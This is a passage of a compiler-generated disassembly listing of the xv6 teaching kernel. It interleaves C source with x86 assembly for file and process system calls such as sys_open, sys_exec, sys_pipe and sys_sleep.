8010624d: e8 a6 b8 ff ff call 80101af8 <iunlockput>
return ip;
80106252: 8b 45 f0 mov -0x10(%ebp),%eax
}
80106255: c9 leave
80106256: c3 ret
80106257 <sys_open>:
int
sys_open(void)
{
80106257: 55 push %ebp
80106258: 89 e5 mov %esp,%ebp
8010625a: 83 ec 38 sub $0x38,%esp
char *path;
int fd, omode;
struct file *f;
struct inode *ip;
if(argstr(0, &path) < 0 || argint(1, &omode) < 0)
8010625d: 8d 45 e8 lea -0x18(%ebp),%eax
80106260: 89 44 24 04 mov %eax,0x4(%esp)
80106264: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010626b: e8 da f6 ff ff call 8010594a <argstr>
80106270: 85 c0 test %eax,%eax
80106272: 78 17 js 8010628b <sys_open+0x34>
80106274: 8d 45 e4 lea -0x1c(%ebp),%eax
80106277: 89 44 24 04 mov %eax,0x4(%esp)
8010627b: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80106282: e8 33 f6 ff ff call 801058ba <argint>
80106287: 85 c0 test %eax,%eax
80106289: 79 0a jns 80106295 <sys_open+0x3e>
return -1;
8010628b: b8 ff ff ff ff mov $0xffffffff,%eax
80106290: e9 5a 01 00 00 jmp 801063ef <sys_open+0x198>
begin_op();
80106295: e8 c7 d1 ff ff call 80103461 <begin_op>
if(omode & O_CREATE){
8010629a: 8b 45 e4 mov -0x1c(%ebp),%eax
8010629d: 25 00 02 00 00 and $0x200,%eax
801062a2: 85 c0 test %eax,%eax
801062a4: 74 3b je 801062e1 <sys_open+0x8a>
ip = create(path, T_FILE, 0, 0);
801062a6: 8b 45 e8 mov -0x18(%ebp),%eax
801062a9: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
801062b0: 00
801062b1: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
801062b8: 00
801062b9: c7 44 24 04 02 00 00 movl $0x2,0x4(%esp)
801062c0: 00
801062c1: 89 04 24 mov %eax,(%esp)
801062c4: e8 ce fd ff ff call 80106097 <create>
801062c9: 89 45 f4 mov %eax,-0xc(%ebp)
if(ip == 0){
801062cc: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801062d0: 75 6b jne 8010633d <sys_open+0xe6>
end_op();
801062d2: e8 0b d2 ff ff call 801034e2 <end_op>
return -1;
801062d7: b8 ff ff ff ff mov $0xffffffff,%eax
801062dc: e9 0e 01 00 00 jmp 801063ef <sys_open+0x198>
}
} else {
if((ip = namei(path)) == 0){
801062e1: 8b 45 e8 mov -0x18(%ebp),%eax
801062e4: 89 04 24 mov %eax,(%esp)
801062e7: e8 2a c1 ff ff call 80102416 <namei>
801062ec: 89 45 f4 mov %eax,-0xc(%ebp)
801062ef: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
801062f3: 75 0f jne 80106304 <sys_open+0xad>
end_op();
801062f5: e8 e8 d1 ff ff call 801034e2 <end_op>
return -1;
801062fa: b8 ff ff ff ff mov $0xffffffff,%eax
801062ff: e9 eb 00 00 00 jmp 801063ef <sys_open+0x198>
}
ilock(ip);
80106304: 8b 45 f4 mov -0xc(%ebp),%eax
80106307: 89 04 24 mov %eax,(%esp)
8010630a: e8 65 b5 ff ff call 80101874 <ilock>
if(ip->type == T_DIR && omode != O_RDONLY){
8010630f: 8b 45 f4 mov -0xc(%ebp),%eax
80106312: 0f b7 40 10 movzwl 0x10(%eax),%eax
80106316: 66 83 f8 01 cmp $0x1,%ax
8010631a: 75 21 jne 8010633d <sys_open+0xe6>
8010631c: 8b 45 e4 mov -0x1c(%ebp),%eax
8010631f: 85 c0 test %eax,%eax
80106321: 74 1a je 8010633d <sys_open+0xe6>
iunlockput(ip);
80106323: 8b 45 f4 mov -0xc(%ebp),%eax
80106326: 89 04 24 mov %eax,(%esp)
80106329: e8 ca b7 ff ff call 80101af8 <iunlockput>
end_op();
8010632e: e8 af d1 ff ff call 801034e2 <end_op>
return -1;
80106333: b8 ff ff ff ff mov $0xffffffff,%eax
80106338: e9 b2 00 00 00 jmp 801063ef <sys_open+0x198>
}
}
if((f = filealloc()) == 0 || (fd = fdalloc(f)) < 0){
8010633d: e8 e6 ab ff ff call 80100f28 <filealloc>
80106342: 89 45 f0 mov %eax,-0x10(%ebp)
80106345: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106349: 74 14 je 8010635f <sys_open+0x108>
8010634b: 8b 45 f0 mov -0x10(%ebp),%eax
8010634e: 89 04 24 mov %eax,(%esp)
80106351: e8 2f f7 ff ff call 80105a85 <fdalloc>
80106356: 89 45 ec mov %eax,-0x14(%ebp)
80106359: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
8010635d: 79 28 jns 80106387 <sys_open+0x130>
if(f)
8010635f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
80106363: 74 0b je 80106370 <sys_open+0x119>
fileclose(f);
80106365: 8b 45 f0 mov -0x10(%ebp),%eax
80106368: 89 04 24 mov %eax,(%esp)
8010636b: e8 60 ac ff ff call 80100fd0 <fileclose>
iunlockput(ip);
80106370: 8b 45 f4 mov -0xc(%ebp),%eax
80106373: 89 04 24 mov %eax,(%esp)
80106376: e8 7d b7 ff ff call 80101af8 <iunlockput>
end_op();
8010637b: e8 62 d1 ff ff call 801034e2 <end_op>
return -1;
80106380: b8 ff ff ff ff mov $0xffffffff,%eax
80106385: eb 68 jmp 801063ef <sys_open+0x198>
}
iunlock(ip);
80106387: 8b 45 f4 mov -0xc(%ebp),%eax
8010638a: 89 04 24 mov %eax,(%esp)
8010638d: e8 30 b6 ff ff call 801019c2 <iunlock>
end_op();
80106392: e8 4b d1 ff ff call 801034e2 <end_op>
f->type = FD_INODE;
80106397: 8b 45 f0 mov -0x10(%ebp),%eax
8010639a: c7 00 02 00 00 00 movl $0x2,(%eax)
f->ip = ip;
801063a0: 8b 45 f0 mov -0x10(%ebp),%eax
801063a3: 8b 55 f4 mov -0xc(%ebp),%edx
801063a6: 89 50 10 mov %edx,0x10(%eax)
f->off = 0;
801063a9: 8b 45 f0 mov -0x10(%ebp),%eax
801063ac: c7 40 14 00 00 00 00 movl $0x0,0x14(%eax)
f->readable = !(omode & O_WRONLY);
801063b3: 8b 45 e4 mov -0x1c(%ebp),%eax
801063b6: 83 e0 01 and $0x1,%eax
801063b9: 85 c0 test %eax,%eax
801063bb: 0f 94 c2 sete %dl
801063be: 8b 45 f0 mov -0x10(%ebp),%eax
801063c1: 88 50 08 mov %dl,0x8(%eax)
f->writable = (omode & O_WRONLY) || (omode & O_RDWR);
801063c4: 8b 45 e4 mov -0x1c(%ebp),%eax
801063c7: 83 e0 01 and $0x1,%eax
801063ca: 84 c0 test %al,%al
801063cc: 75 0a jne 801063d8 <sys_open+0x181>
801063ce: 8b 45 e4 mov -0x1c(%ebp),%eax
801063d1: 83 e0 02 and $0x2,%eax
801063d4: 85 c0 test %eax,%eax
801063d6: 74 07 je 801063df <sys_open+0x188>
801063d8: b8 01 00 00 00 mov $0x1,%eax
801063dd: eb 05 jmp 801063e4 <sys_open+0x18d>
801063df: b8 00 00 00 00 mov $0x0,%eax
801063e4: 89 c2 mov %eax,%edx
801063e6: 8b 45 f0 mov -0x10(%ebp),%eax
801063e9: 88 50 09 mov %dl,0x9(%eax)
return fd;
801063ec: 8b 45 ec mov -0x14(%ebp),%eax
}
801063ef: c9 leave
801063f0: c3 ret
801063f1 <sys_mkdir>:
int
sys_mkdir(void)
{
801063f1: 55 push %ebp
801063f2: 89 e5 mov %esp,%ebp
801063f4: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
801063f7: e8 65 d0 ff ff call 80103461 <begin_op>
if(argstr(0, &path) < 0 || (ip = create(path, T_DIR, 0, 0)) == 0){
801063fc: 8d 45 f0 lea -0x10(%ebp),%eax
801063ff: 89 44 24 04 mov %eax,0x4(%esp)
80106403: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010640a: e8 3b f5 ff ff call 8010594a <argstr>
8010640f: 85 c0 test %eax,%eax
80106411: 78 2c js 8010643f <sys_mkdir+0x4e>
80106413: 8b 45 f0 mov -0x10(%ebp),%eax
80106416: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp)
8010641d: 00
8010641e: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80106425: 00
80106426: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp)
8010642d: 00
8010642e: 89 04 24 mov %eax,(%esp)
80106431: e8 61 fc ff ff call 80106097 <create>
80106436: 89 45 f4 mov %eax,-0xc(%ebp)
80106439: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010643d: 75 0c jne 8010644b <sys_mkdir+0x5a>
end_op();
8010643f: e8 9e d0 ff ff call 801034e2 <end_op>
return -1;
80106444: b8 ff ff ff ff mov $0xffffffff,%eax
80106449: eb 15 jmp 80106460 <sys_mkdir+0x6f>
}
iunlockput(ip);
8010644b: 8b 45 f4 mov -0xc(%ebp),%eax
8010644e: 89 04 24 mov %eax,(%esp)
80106451: e8 a2 b6 ff ff call 80101af8 <iunlockput>
end_op();
80106456: e8 87 d0 ff ff call 801034e2 <end_op>
return 0;
8010645b: b8 00 00 00 00 mov $0x0,%eax
}
80106460: c9 leave
80106461: c3 ret
80106462 <sys_mknod>:
int
sys_mknod(void)
{
80106462: 55 push %ebp
80106463: 89 e5 mov %esp,%ebp
80106465: 83 ec 38 sub $0x38,%esp
struct inode *ip;
char *path;
int len;
int major, minor;
begin_op();
80106468: e8 f4 cf ff ff call 80103461 <begin_op>
if((len=argstr(0, &path)) < 0 ||
8010646d: 8d 45 ec lea -0x14(%ebp),%eax
80106470: 89 44 24 04 mov %eax,0x4(%esp)
80106474: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010647b: e8 ca f4 ff ff call 8010594a <argstr>
80106480: 89 45 f4 mov %eax,-0xc(%ebp)
80106483: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106487: 78 5e js 801064e7 <sys_mknod+0x85>
argint(1, &major) < 0 ||
80106489: 8d 45 e8 lea -0x18(%ebp),%eax
8010648c: 89 44 24 04 mov %eax,0x4(%esp)
80106490: c7 04 24 01 00 00 00 movl $0x1,(%esp)
80106497: e8 1e f4 ff ff call 801058ba <argint>
char *path;
int len;
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
8010649c: 85 c0 test %eax,%eax
8010649e: 78 47 js 801064e7 <sys_mknod+0x85>
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
801064a0: 8d 45 e4 lea -0x1c(%ebp),%eax
801064a3: 89 44 24 04 mov %eax,0x4(%esp)
801064a7: c7 04 24 02 00 00 00 movl $0x2,(%esp)
801064ae: e8 07 f4 ff ff call 801058ba <argint>
int len;
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
801064b3: 85 c0 test %eax,%eax
801064b5: 78 30 js 801064e7 <sys_mknod+0x85>
argint(2, &minor) < 0 ||
(ip = create(path, T_DEV, major, minor)) == 0){
801064b7: 8b 45 e4 mov -0x1c(%ebp),%eax
801064ba: 0f bf c8 movswl %ax,%ecx
801064bd: 8b 45 e8 mov -0x18(%ebp),%eax
801064c0: 0f bf d0 movswl %ax,%edx
801064c3: 8b 45 ec mov -0x14(%ebp),%eax
int major, minor;
begin_op();
if((len=argstr(0, &path)) < 0 ||
argint(1, &major) < 0 ||
argint(2, &minor) < 0 ||
801064c6: 89 4c 24 0c mov %ecx,0xc(%esp)
801064ca: 89 54 24 08 mov %edx,0x8(%esp)
801064ce: c7 44 24 04 03 00 00 movl $0x3,0x4(%esp)
801064d5: 00
801064d6: 89 04 24 mov %eax,(%esp)
801064d9: e8 b9 fb ff ff call 80106097 <create>
801064de: 89 45 f0 mov %eax,-0x10(%ebp)
801064e1: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
801064e5: 75 0c jne 801064f3 <sys_mknod+0x91>
(ip = create(path, T_DEV, major, minor)) == 0){
end_op();
801064e7: e8 f6 cf ff ff call 801034e2 <end_op>
return -1;
801064ec: b8 ff ff ff ff mov $0xffffffff,%eax
801064f1: eb 15 jmp 80106508 <sys_mknod+0xa6>
}
iunlockput(ip);
801064f3: 8b 45 f0 mov -0x10(%ebp),%eax
801064f6: 89 04 24 mov %eax,(%esp)
801064f9: e8 fa b5 ff ff call 80101af8 <iunlockput>
end_op();
801064fe: e8 df cf ff ff call 801034e2 <end_op>
return 0;
80106503: b8 00 00 00 00 mov $0x0,%eax
}
80106508: c9 leave
80106509: c3 ret
8010650a <sys_chdir>:
int
sys_chdir(void)
{
8010650a: 55 push %ebp
8010650b: 89 e5 mov %esp,%ebp
8010650d: 83 ec 28 sub $0x28,%esp
char *path;
struct inode *ip;
begin_op();
80106510: e8 4c cf ff ff call 80103461 <begin_op>
if(argstr(0, &path) < 0 || (ip = namei(path)) == 0){
80106515: 8d 45 f0 lea -0x10(%ebp),%eax
80106518: 89 44 24 04 mov %eax,0x4(%esp)
8010651c: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106523: e8 22 f4 ff ff call 8010594a <argstr>
80106528: 85 c0 test %eax,%eax
8010652a: 78 14 js 80106540 <sys_chdir+0x36>
8010652c: 8b 45 f0 mov -0x10(%ebp),%eax
8010652f: 89 04 24 mov %eax,(%esp)
80106532: e8 df be ff ff call 80102416 <namei>
80106537: 89 45 f4 mov %eax,-0xc(%ebp)
8010653a: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
8010653e: 75 0c jne 8010654c <sys_chdir+0x42>
end_op();
80106540: e8 9d cf ff ff call 801034e2 <end_op>
return -1;
80106545: b8 ff ff ff ff mov $0xffffffff,%eax
8010654a: eb 61 jmp 801065ad <sys_chdir+0xa3>
}
ilock(ip);
8010654c: 8b 45 f4 mov -0xc(%ebp),%eax
8010654f: 89 04 24 mov %eax,(%esp)
80106552: e8 1d b3 ff ff call 80101874 <ilock>
if(ip->type != T_DIR){
80106557: 8b 45 f4 mov -0xc(%ebp),%eax
8010655a: 0f b7 40 10 movzwl 0x10(%eax),%eax
8010655e: 66 83 f8 01 cmp $0x1,%ax
80106562: 74 17 je 8010657b <sys_chdir+0x71>
iunlockput(ip);
80106564: 8b 45 f4 mov -0xc(%ebp),%eax
80106567: 89 04 24 mov %eax,(%esp)
8010656a: e8 89 b5 ff ff call 80101af8 <iunlockput>
end_op();
8010656f: e8 6e cf ff ff call 801034e2 <end_op>
return -1;
80106574: b8 ff ff ff ff mov $0xffffffff,%eax
80106579: eb 32 jmp 801065ad <sys_chdir+0xa3>
}
iunlock(ip);
8010657b: 8b 45 f4 mov -0xc(%ebp),%eax
8010657e: 89 04 24 mov %eax,(%esp)
80106581: e8 3c b4 ff ff call 801019c2 <iunlock>
iput(proc->cwd);
80106586: 65 a1 04 00 00 00 mov %gs:0x4,%eax
8010658c: 8b 40 68 mov 0x68(%eax),%eax
8010658f: 89 04 24 mov %eax,(%esp)
80106592: e8 90 b4 ff ff call 80101a27 <iput>
end_op();
80106597: e8 46 cf ff ff call 801034e2 <end_op>
proc->cwd = ip;
8010659c: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801065a2: 8b 55 f4 mov -0xc(%ebp),%edx
801065a5: 89 50 68 mov %edx,0x68(%eax)
return 0;
801065a8: b8 00 00 00 00 mov $0x0,%eax
}
801065ad: c9 leave
801065ae: c3 ret
801065af <sys_exec>:
int
sys_exec(void)
{
801065af: 55 push %ebp
801065b0: 89 e5 mov %esp,%ebp
801065b2: 81 ec a8 00 00 00 sub $0xa8,%esp
char *path, *argv[MAXARG];
int i;
uint uargv, uarg;
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
801065b8: 8d 45 f0 lea -0x10(%ebp),%eax
801065bb: 89 44 24 04 mov %eax,0x4(%esp)
801065bf: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801065c6: e8 7f f3 ff ff call 8010594a <argstr>
801065cb: 85 c0 test %eax,%eax
801065cd: 78 1a js 801065e9 <sys_exec+0x3a>
801065cf: 8d 85 6c ff ff ff lea -0x94(%ebp),%eax
801065d5: 89 44 24 04 mov %eax,0x4(%esp)
801065d9: c7 04 24 01 00 00 00 movl $0x1,(%esp)
801065e0: e8 d5 f2 ff ff call 801058ba <argint>
801065e5: 85 c0 test %eax,%eax
801065e7: 79 0a jns 801065f3 <sys_exec+0x44>
return -1;
801065e9: b8 ff ff ff ff mov $0xffffffff,%eax
801065ee: e9 cc 00 00 00 jmp 801066bf <sys_exec+0x110>
}
memset(argv, 0, sizeof(argv));
801065f3: c7 44 24 08 80 00 00 movl $0x80,0x8(%esp)
801065fa: 00
801065fb: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80106602: 00
80106603: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
80106609: 89 04 24 mov %eax,(%esp)
8010660c: e8 4d ef ff ff call 8010555e <memset>
for(i=0;; i++){
80106611: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
if(i >= NELEM(argv))
80106618: 8b 45 f4 mov -0xc(%ebp),%eax
8010661b: 83 f8 1f cmp $0x1f,%eax
8010661e: 76 0a jbe 8010662a <sys_exec+0x7b>
return -1;
80106620: b8 ff ff ff ff mov $0xffffffff,%eax
80106625: e9 95 00 00 00 jmp 801066bf <sys_exec+0x110>
if(fetchint(uargv+4*i, (int*)&uarg) < 0)
8010662a: 8b 45 f4 mov -0xc(%ebp),%eax
8010662d: c1 e0 02 shl $0x2,%eax
80106630: 89 c2 mov %eax,%edx
80106632: 8b 85 6c ff ff ff mov -0x94(%ebp),%eax
80106638: 01 c2 add %eax,%edx
8010663a: 8d 85 68 ff ff ff lea -0x98(%ebp),%eax
80106640: 89 44 24 04 mov %eax,0x4(%esp)
80106644: 89 14 24 mov %edx,(%esp)
80106647: e8 d0 f1 ff ff call 8010581c <fetchint>
8010664c: 85 c0 test %eax,%eax
8010664e: 79 07 jns 80106657 <sys_exec+0xa8>
return -1;
80106650: b8 ff ff ff ff mov $0xffffffff,%eax
80106655: eb 68 jmp 801066bf <sys_exec+0x110>
if(uarg == 0){
80106657: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
8010665d: 85 c0 test %eax,%eax
8010665f: 75 26 jne 80106687 <sys_exec+0xd8>
argv[i] = 0;
80106661: 8b 45 f4 mov -0xc(%ebp),%eax
80106664: c7 84 85 70 ff ff ff movl $0x0,-0x90(%ebp,%eax,4)
8010666b: 00 00 00 00
break;
8010666f: 90 nop
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
return exec(path, argv);
80106670: 8b 45 f0 mov -0x10(%ebp),%eax
80106673: 8d 95 70 ff ff ff lea -0x90(%ebp),%edx
80106679: 89 54 24 04 mov %edx,0x4(%esp)
8010667d: 89 04 24 mov %eax,(%esp)
80106680: e8 77 a4 ff ff call 80100afc <exec>
80106685: eb 38 jmp 801066bf <sys_exec+0x110>
return -1;
if(uarg == 0){
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
80106687: 8b 45 f4 mov -0xc(%ebp),%eax
8010668a: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx
80106691: 8d 85 70 ff ff ff lea -0x90(%ebp),%eax
80106697: 01 c2 add %eax,%edx
80106699: 8b 85 68 ff ff ff mov -0x98(%ebp),%eax
8010669f: 89 54 24 04 mov %edx,0x4(%esp)
801066a3: 89 04 24 mov %eax,(%esp)
801066a6: e8 ab f1 ff ff call 80105856 <fetchstr>
801066ab: 85 c0 test %eax,%eax
801066ad: 79 07 jns 801066b6 <sys_exec+0x107>
return -1;
801066af: b8 ff ff ff ff mov $0xffffffff,%eax
801066b4: eb 09 jmp 801066bf <sys_exec+0x110>
if(argstr(0, &path) < 0 || argint(1, (int*)&uargv) < 0){
return -1;
}
memset(argv, 0, sizeof(argv));
for(i=0;; i++){
801066b6: 83 45 f4 01 addl $0x1,-0xc(%ebp)
argv[i] = 0;
break;
}
if(fetchstr(uarg, &argv[i]) < 0)
return -1;
}
801066ba: e9 59 ff ff ff jmp 80106618 <sys_exec+0x69>
return exec(path, argv);
}
801066bf: c9 leave
801066c0: c3 ret
801066c1 <sys_pipe>:
int
sys_pipe(void)
{
801066c1: 55 push %ebp
801066c2: 89 e5 mov %esp,%ebp
801066c4: 83 ec 38 sub $0x38,%esp
int *fd;
struct file *rf, *wf;
int fd0, fd1;
if(argptr(0, (void*)&fd, 2*sizeof(fd[0])) < 0)
801066c7: c7 44 24 08 08 00 00 movl $0x8,0x8(%esp)
801066ce: 00
801066cf: 8d 45 ec lea -0x14(%ebp),%eax
801066d2: 89 44 24 04 mov %eax,0x4(%esp)
801066d6: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801066dd: e8 06 f2 ff ff call 801058e8 <argptr>
801066e2: 85 c0 test %eax,%eax
801066e4: 79 0a jns 801066f0 <sys_pipe+0x2f>
return -1;
801066e6: b8 ff ff ff ff mov $0xffffffff,%eax
801066eb: e9 9b 00 00 00 jmp 8010678b <sys_pipe+0xca>
if(pipealloc(&rf, &wf) < 0)
801066f0: 8d 45 e4 lea -0x1c(%ebp),%eax
801066f3: 89 44 24 04 mov %eax,0x4(%esp)
801066f7: 8d 45 e8 lea -0x18(%ebp),%eax
801066fa: 89 04 24 mov %eax,(%esp)
801066fd: e8 76 d8 ff ff call 80103f78 <pipealloc>
80106702: 85 c0 test %eax,%eax
80106704: 79 07 jns 8010670d <sys_pipe+0x4c>
return -1;
80106706: b8 ff ff ff ff mov $0xffffffff,%eax
8010670b: eb 7e jmp 8010678b <sys_pipe+0xca>
fd0 = -1;
8010670d: c7 45 f4 ff ff ff ff movl $0xffffffff,-0xc(%ebp)
if((fd0 = fdalloc(rf)) < 0 || (fd1 = fdalloc(wf)) < 0){
80106714: 8b 45 e8 mov -0x18(%ebp),%eax
80106717: 89 04 24 mov %eax,(%esp)
8010671a: e8 66 f3 ff ff call 80105a85 <fdalloc>
8010671f: 89 45 f4 mov %eax,-0xc(%ebp)
80106722: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106726: 78 14 js 8010673c <sys_pipe+0x7b>
80106728: 8b 45 e4 mov -0x1c(%ebp),%eax
8010672b: 89 04 24 mov %eax,(%esp)
8010672e: e8 52 f3 ff ff call 80105a85 <fdalloc>
80106733: 89 45 f0 mov %eax,-0x10(%ebp)
80106736: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
8010673a: 79 37 jns 80106773 <sys_pipe+0xb2>
if(fd0 >= 0)
8010673c: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
80106740: 78 14 js 80106756 <sys_pipe+0x95>
proc->ofile[fd0] = 0;
80106742: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106748: 8b 55 f4 mov -0xc(%ebp),%edx
8010674b: 83 c2 08 add $0x8,%edx
8010674e: c7 44 90 08 00 00 00 movl $0x0,0x8(%eax,%edx,4)
80106755: 00
fileclose(rf);
80106756: 8b 45 e8 mov -0x18(%ebp),%eax
80106759: 89 04 24 mov %eax,(%esp)
8010675c: e8 6f a8 ff ff call 80100fd0 <fileclose>
fileclose(wf);
80106761: 8b 45 e4 mov -0x1c(%ebp),%eax
80106764: 89 04 24 mov %eax,(%esp)
80106767: e8 64 a8 ff ff call 80100fd0 <fileclose>
return -1;
8010676c: b8 ff ff ff ff mov $0xffffffff,%eax
80106771: eb 18 jmp 8010678b <sys_pipe+0xca>
}
fd[0] = fd0;
80106773: 8b 45 ec mov -0x14(%ebp),%eax
80106776: 8b 55 f4 mov -0xc(%ebp),%edx
80106779: 89 10 mov %edx,(%eax)
fd[1] = fd1;
8010677b: 8b 45 ec mov -0x14(%ebp),%eax
8010677e: 8d 50 04 lea 0x4(%eax),%edx
80106781: 8b 45 f0 mov -0x10(%ebp),%eax
80106784: 89 02 mov %eax,(%edx)
return 0;
80106786: b8 00 00 00 00 mov $0x0,%eax
}
8010678b: c9 leave
8010678c: c3 ret
8010678d: 00 00 add %al,(%eax)
...
80106790 <outw>:
asm volatile("out %0,%1" : : "a" (data), "d" (port));
}
static inline void
outw(ushort port, ushort data)
{
80106790: 55 push %ebp
80106791: 89 e5 mov %esp,%ebp
80106793: 83 ec 08 sub $0x8,%esp
80106796: 8b 55 08 mov 0x8(%ebp),%edx
80106799: 8b 45 0c mov 0xc(%ebp),%eax
8010679c: 66 89 55 fc mov %dx,-0x4(%ebp)
801067a0: 66 89 45 f8 mov %ax,-0x8(%ebp)
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801067a4: 0f b7 45 f8 movzwl -0x8(%ebp),%eax
801067a8: 0f b7 55 fc movzwl -0x4(%ebp),%edx
801067ac: 66 ef out %ax,(%dx)
}
801067ae: c9 leave
801067af: c3 ret
801067b0 <sys_fork>:
#include "mmu.h"
#include "proc.h"
int
sys_fork(void)
{
801067b0: 55 push %ebp
801067b1: 89 e5 mov %esp,%ebp
801067b3: 83 ec 08 sub $0x8,%esp
return fork();
801067b6: e8 73 de ff ff call 8010462e <fork>
}
801067bb: c9 leave
801067bc: c3 ret
801067bd <sys_exit>:
int
sys_exit(void)
{
801067bd: 55 push %ebp
801067be: 89 e5 mov %esp,%ebp
801067c0: 83 ec 08 sub $0x8,%esp
exit();
801067c3: e8 a5 e1 ff ff call 8010496d <exit>
return 0; // not reached
801067c8: b8 00 00 00 00 mov $0x0,%eax
}
801067cd: c9 leave
801067ce: c3 ret
801067cf <sys_wait>:
int
sys_wait(void)
{
801067cf: 55 push %ebp
801067d0: 89 e5 mov %esp,%ebp
801067d2: 83 ec 08 sub $0x8,%esp
return wait();
801067d5: e8 37 e4 ff ff call 80104c11 <wait>
}
801067da: c9 leave
801067db: c3 ret
801067dc <sys_kill>:
int
sys_kill(void)
{
801067dc: 55 push %ebp
801067dd: 89 e5 mov %esp,%ebp
801067df: 83 ec 28 sub $0x28,%esp
int pid;
if(argint(0, &pid) < 0)
801067e2: 8d 45 f4 lea -0xc(%ebp),%eax
801067e5: 89 44 24 04 mov %eax,0x4(%esp)
801067e9: c7 04 24 00 00 00 00 movl $0x0,(%esp)
801067f0: e8 c5 f0 ff ff call 801058ba <argint>
801067f5: 85 c0 test %eax,%eax
801067f7: 79 07 jns 80106800 <sys_kill+0x24>
return -1;
801067f9: b8 ff ff ff ff mov $0xffffffff,%eax
801067fe: eb 0b jmp 8010680b <sys_kill+0x2f>
return kill(pid);
80106800: 8b 45 f4 mov -0xc(%ebp),%eax
80106803: 89 04 24 mov %eax,(%esp)
80106806: e8 23 e9 ff ff call 8010512e <kill>
}
8010680b: c9 leave
8010680c: c3 ret
8010680d <sys_getpid>:
int
sys_getpid(void)
{
8010680d: 55 push %ebp
8010680e: 89 e5 mov %esp,%ebp
return proc->pid;
80106810: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106816: 8b 40 10 mov 0x10(%eax),%eax
}
80106819: 5d pop %ebp
8010681a: c3 ret
8010681b <sys_sbrk>:
int
sys_sbrk(void)
{
8010681b: 55 push %ebp
8010681c: 89 e5 mov %esp,%ebp
8010681e: 83 ec 28 sub $0x28,%esp
int addr;
int n;
if(argint(0, &n) < 0)
80106821: 8d 45 f0 lea -0x10(%ebp),%eax
80106824: 89 44 24 04 mov %eax,0x4(%esp)
80106828: c7 04 24 00 00 00 00 movl $0x0,(%esp)
8010682f: e8 86 f0 ff ff call 801058ba <argint>
80106834: 85 c0 test %eax,%eax
80106836: 79 07 jns 8010683f <sys_sbrk+0x24>
return -1;
80106838: b8 ff ff ff ff mov $0xffffffff,%eax
8010683d: eb 24 jmp 80106863 <sys_sbrk+0x48>
addr = proc->sz;
8010683f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
80106845: 8b 00 mov (%eax),%eax
80106847: 89 45 f4 mov %eax,-0xc(%ebp)
if(growproc(n) < 0)
8010684a: 8b 45 f0 mov -0x10(%ebp),%eax
8010684d: 89 04 24 mov %eax,(%esp)
80106850: e8 34 dd ff ff call 80104589 <growproc>
80106855: 85 c0 test %eax,%eax
80106857: 79 07 jns 80106860 <sys_sbrk+0x45>
return -1;
80106859: b8 ff ff ff ff mov $0xffffffff,%eax
8010685e: eb 03 jmp 80106863 <sys_sbrk+0x48>
return addr;
80106860: 8b 45 f4 mov -0xc(%ebp),%eax
}
80106863: c9 leave
80106864: c3 ret
80106865 <sys_sleep>:
int
sys_sleep(void)
{
80106865: 55 push %ebp
80106866: 89 e5 mov %esp,%ebp
80106868: 83 ec 28 sub $0x28,%esp
int n;
uint ticks0;
if(argint(0, &n) < 0)
8010686b: 8d 45 f0 lea -0x10(%ebp),%eax
8010686e: 89 44 24 04 mov %eax,0x4(%esp)
80106872: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80106879: e8 3c f0 ff ff call 801058ba <argint>
8010687e: 85 c0 test %eax,%eax
80106880: 79 07 jns 80106889 <sys_sleep+0x24>
return -1;
80106882: b8 ff ff ff ff mov $0xffffffff,%eax
80106887: eb 6c jmp 801068f5 <sys_sleep+0x90>
acquire(&tickslock);
80106889: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
80106890: e8 7a ea ff ff call 8010530f <acquire>
ticks0 = ticks;
80106895: a1 00 63 11 80 mov 0x80116300,%eax
8010689a: 89 45 f4 mov %eax,-0xc(%ebp)
while(ticks - ticks0 < n){
8010689d: eb 34 jmp 801068d3 <sys_sleep+0x6e>
if(proc->killed){
8010689f: 65 a1 04 00 00 00 mov %gs:0x4,%eax
801068a5: 8b 40 24 mov 0x24(%eax),%eax
801068a8: 85 c0 test %eax,%eax
801068aa: 74 13 je 801068bf <sys_sleep+0x5a>
release(&tickslock);
801068ac: c7 04 24 c0 5a 11 80 movl $0x80115ac0,(%esp)
801068b3: e8 b9 ea ff ff call 80105371 <release>
return -1;
